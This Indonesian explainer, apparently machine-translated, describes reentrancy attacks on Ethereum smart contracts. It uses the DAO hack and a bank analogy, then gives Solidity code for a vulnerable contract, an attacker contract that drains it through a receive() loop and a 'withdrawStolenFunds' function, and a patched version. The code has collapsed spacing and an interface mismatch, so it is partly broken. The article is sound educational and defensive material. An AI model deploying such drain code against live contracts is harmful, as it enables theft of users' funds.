Begini cara salah satu peretasan kontrak pintar paling umum yang menelan biaya jutaan perusahaan Web 3 terjadi...

Beberapa peretasan terbesar di industri blockchain, di mana token cryptocurrency bernilai jutaan dolar dicuri, dihasilkan dari serangan reentrancy. Meskipun peretasan ini menjadi kurang umum dalam beberapa tahun terakhir, peretasan ini masih menjadi ancaman signifikan bagi aplikasi dan pengguna blockchain.

Jadi apa sebenarnya serangan reentrancy itu? Bagaimana mereka dikerahkan? Dan apakah ada tindakan yang dapat dilakukan pengembang untuk mencegahnya terjadi?

Apa itu Serangan Reentrancy?

Serangan reentrancy terjadi ketika fungsi kontrak cerdas yang rentan membuat panggilan eksternal ke kontrak jahat, untuk sementara menyerahkan kendali atas aliran transaksi. Kontrak jahat tersebut kemudian berulang kali memanggil fungsi kontrak pintar asli sebelum selesai dijalankan sambil menghabiskan dananya.

Pada dasarnya, transaksi penarikan pada blockchain Ethereum mengikuti siklus tiga langkah: konfirmasi saldo, pengiriman uang, dan pembaruan saldo. Jika penjahat dunia maya dapat membajak siklus sebelum pembaruan saldo, mereka dapat berulang kali menarik dana hingga dompet terkuras.

instagram viewer

Kredit Gambar: Etherscan

Salah satu peretasan blockchain paling terkenal, peretasan Ethereum DAO, seperti yang dicakup oleh Coindesk, adalah serangan reentrancy yang menyebabkan hilangnya eth senilai lebih dari $60 juta dan secara mendasar mengubah arah mata uang kripto terbesar kedua ini.

Bagaimana Cara Kerja Serangan Reentrancy?

Bayangkan sebuah bank di kampung halaman Anda tempat penduduk setempat yang berbudi luhur menyimpan uang mereka; total likuiditasnya adalah $1 juta. Namun, bank tersebut memiliki sistem akuntansi yang cacat—staf menunggu hingga sore hari untuk memperbarui saldo bank.

Teman investor Anda mengunjungi kota dan menemukan kelemahan akuntansi. Dia membuat akun dan menyetor $100.000. Sehari kemudian, dia menarik $100.000. Setelah satu jam, dia mencoba lagi untuk menarik $100.000. Karena bank belum memperbarui saldonya, masih terbaca $100.000. Jadi dia mendapatkan uangnya. Dia melakukan ini berulang kali sampai tidak ada uang yang tersisa. Staf hanya menyadari tidak ada uang ketika mereka menyeimbangkan pembukuan di malam hari.

Dalam konteks smart contract, prosesnya berjalan sebagai berikut:

  1. Penjahat dunia maya mengidentifikasi kontrak pintar "X" dengan kerentanan.
  2. Penyerang memulai transaksi yang sah ke kontrak target, X, untuk mengirim dana ke kontrak jahat, "Y." Selama eksekusi, Y memanggil fungsi rentan di X.
  3. Eksekusi kontrak X dijeda atau ditunda karena kontrak menunggu interaksi dengan peristiwa eksternal
  4. Saat eksekusi dijeda, penyerang berulang kali memanggil fungsi rentan yang sama di X, sekali lagi memicu eksekusinya sebanyak mungkin
  5. Dengan setiap entri ulang, status kontrak dimanipulasi, memungkinkan penyerang mengalirkan dana dari X ke Y
  6. Setelah dana habis, masuk kembali berhenti, eksekusi tertunda X akhirnya selesai, dan status kontrak diperbarui berdasarkan masuk kembali terakhir.

Umumnya, penyerang berhasil mengeksploitasi kerentanan reentrancy untuk keuntungan mereka, mencuri dana dari kontrak.

Contoh Serangan Reentrancy

Jadi, bagaimana tepatnya serangan reentrancy bisa terjadi secara teknis saat dikerahkan? Berikut kontrak pintar hipotetis dengan gateway reentrancy. Kami akan menggunakan penamaan aksiomatik untuk membuatnya lebih mudah untuk diikuti.

// Vulnerable contract with a reentrancy vulnerability

pragmasolidity ^0.8.0;

contract VulnerableContract {
mapping(address => uint256) private balances;

functiondeposit() publicpayable{
balances[msg.sender] += msg.value;
}

functionwithdraw(uint256 amount) public{
require(amount <= balances[msg.sender], "Insufficient balance");
(bool success, ) = msg.sender.call{value: amount}("");
require(success, "Transfer failed");
balances[msg.sender] -= amount;
}
}

Itu Kontrak Rentan memungkinkan pengguna menyetor eth ke dalam kontrak menggunakan menyetorkan fungsi. Pengguna kemudian dapat menarik eth yang mereka setorkan menggunakan menarik fungsi. Namun, ada kerentanan reentrancy di menarik fungsi. Saat pengguna menarik diri, kontrak mentransfer jumlah yang diminta ke alamat pengguna sebelum memperbarui saldo, menciptakan peluang bagi penyerang untuk mengeksploitasi.

Sekarang, seperti inilah kontrak pintar penyerang akan terlihat.

// Attacker's contract to exploit the reentrancy vulnerability

pragmasolidity ^0.8.0;

interfaceVulnerableContractInterface{
functionwithdraw(uint256 amount)external;
}

contract AttackerContract {
VulnerableContractInterface private vulnerableContract;
address private targetAddress;

constructor(address _vulnerableContractAddress) {
vulnerableContract = VulnerableContractInterface(_vulnerableContractAddress);
targetAddress = msg.sender;
}

// Function to trigger the attack
functionattack() publicpayable{
// Deposit some ether to the vulnerable contract
vulnerableContract.deposit{value: msg.value}();

// Call the vulnerable contract's withdraw function
vulnerableContract.withdraw(msg.value);
}

// Receive function to receive funds from the vulnerable contract
receive() external payable {
if (address(vulnerableContract).balance >= 1 ether) {
// Reenter the vulnerable contract's withdraw function
vulnerableContract.withdraw(1 ether);
}
}

// Function to steal the funds from the vulnerable contract
functionwithdrawStolenFunds() public{
require(msg.sender == targetAddress, "Unauthorized");
(bool success, ) = targetAddress.call{value: address(this).balance}("");
require(success, "Transfer failed");
}
}

Saat serangan diluncurkan:

  1. Itu Kontrak Penyerang mengambil alamat dari Kontrak Rentan dalam konstruktornya dan menyimpannya di kontrak rentan variabel.
  2. Itu menyerang fungsi dipanggil oleh penyerang, menyimpan beberapa eth ke dalam Kontrak Rentan menggunakan menyetorkan fungsi dan kemudian segera memanggil menarik fungsi dari Kontrak Rentan.
  3. Itu menarik berfungsi di Kontrak Rentan mentransfer jumlah eth yang diminta ke penyerang Kontrak Penyerang sebelum memperbarui saldo, tetapi karena kontrak penyerang dijeda selama panggilan eksternal, fungsinya belum selesai.
  4. Itu menerima berfungsi di Kontrak Penyerang dipicu karena Kontrak Rentan dikirim ke kontrak ini selama panggilan eksternal.
  5. Fungsi penerima memeriksa apakah Kontrak Penyerang saldo minimal 1 eter (jumlah yang akan ditarik), lalu masuk kembali Kontrak Rentan dengan memanggilnya menarik berfungsi lagi.
  6. Langkah tiga sampai lima ulangi sampai Kontrak Rentan kehabisan dana dan kontrak penyerang mengumpulkan sejumlah besar et.
  7. Akhirnya, penyerang dapat memanggil withdrawStolenFunds berfungsi di Kontrak Penyerang untuk mencuri semua dana yang terakumulasi dalam kontrak mereka.

Serangan bisa terjadi sangat cepat, tergantung dari performa jaringan. Saat melibatkan smart contract yang kompleks seperti DAO Hack, yang menyebabkan hard fork Ethereum Ethereum dan Ethereum Klasik, serangan terjadi selama beberapa jam.

Cara Mencegah Serangan Reentrancy

Untuk mencegah serangan reentrancy, kita perlu memodifikasi smart contract yang rentan untuk mengikuti praktik terbaik untuk pengembangan smart contract yang aman. Dalam hal ini, kita harus mengimplementasikan pola "cek-efek-interaksi" seperti pada kode di bawah ini.

// Secure contract with the "checks-effects-interactions" pattern

pragmasolidity ^0.8.0;

contract SecureContract {
mapping(address => uint256) private balances;
mapping(address => bool) private isLocked;

functiondeposit() publicpayable{
balances[msg.sender] += msg.value;
}

functionwithdraw(uint256 amount) public{
require(amount <= balances[msg.sender], "Insufficient balance");
require(!isLocked[msg.sender], "Withdrawal in progress");

// Lock the sender's account to prevent reentrancy
isLocked[msg.sender] = true;

// Perform the state change
balances[msg.sender] -= amount;

// Interact with the external contract after the state change
(bool success, ) = msg.sender.call{value: amount}("");
require(success, "Transfer failed");

// Unlock the sender's account
isLocked[msg.sender] = false;
}
}

Dalam versi tetap ini, kami telah memperkenalkan sebuah terkunci pemetaan untuk melacak apakah akun tertentu sedang dalam proses penarikan. Saat pengguna melakukan penarikan, kontrak akan memeriksa apakah akun mereka terkunci (!isLocked[msg.sender]), menunjukkan bahwa saat ini tidak ada penarikan lain dari akun yang sama.

Jika akun tidak dikunci, kontrak berlanjut dengan perubahan status dan interaksi eksternal. Setelah perubahan status dan interaksi eksternal, akun dibuka lagi, memungkinkan penarikan di masa mendatang.

Jenis Serangan Reentrancy

Kredit Gambar: Ivan Radic/Flickr

Secara umum, ada tiga jenis utama serangan reentrancy berdasarkan sifat eksploitasinya.

  1. Serangan reentrancy tunggal: Dalam hal ini, fungsi rentan yang berulang kali dipanggil oleh penyerang adalah fungsi yang sama yang rentan terhadap gateway reentrancy. Serangan di atas adalah contoh serangan reentrancy tunggal, yang dapat dengan mudah dicegah dengan menerapkan pemeriksaan dan penguncian kode yang tepat.
  2. Serangan lintas fungsi: Dalam skenario ini, penyerang memanfaatkan fungsi yang rentan untuk memanggil fungsi yang berbeda dalam kontrak yang sama yang berbagi status dengan yang rentan. Fungsi kedua, yang dipanggil oleh penyerang, memiliki beberapa efek yang diinginkan, membuatnya lebih menarik untuk dieksploitasi. Serangan ini lebih kompleks dan lebih sulit untuk dideteksi, sehingga diperlukan pemeriksaan dan penguncian yang ketat di seluruh fungsi yang saling berhubungan untuk memitigasinya.
  3. Serangan lintas kontrak: Serangan ini terjadi ketika kontrak eksternal berinteraksi dengan kontrak yang rentan. Selama interaksi ini, status kontrak yang rentan dipanggil dalam kontrak eksternal sebelum diperbarui sepenuhnya. Ini biasanya terjadi ketika beberapa kontrak berbagi variabel yang sama dan beberapa memperbarui variabel bersama secara tidak aman. Protokol komunikasi yang aman antara kontrak dan periodik audit kontrak pintar harus diterapkan untuk mengurangi serangan ini.

Serangan reentrancy dapat bermanifestasi dalam berbagai bentuk dan karenanya memerlukan tindakan khusus untuk mencegahnya.

Tetap Aman Dari Serangan Reentrancy

Serangan reentrancy telah menyebabkan kerugian finansial yang besar dan merusak kepercayaan pada aplikasi blockchain. Untuk melindungi kontrak, pengembang harus mengadopsi praktik terbaik dengan rajin untuk menghindari kerentanan masuk kembali.

Mereka juga harus menerapkan pola penarikan yang aman, menggunakan perpustakaan tepercaya, dan melakukan audit menyeluruh untuk lebih memperkuat pertahanan kontrak cerdas. Tentu saja, tetap mendapat informasi tentang ancaman yang muncul dan bersikap proaktif dengan upaya keamanan dapat memastikan mereka juga menjunjung tinggi integritas ekosistem blockchain.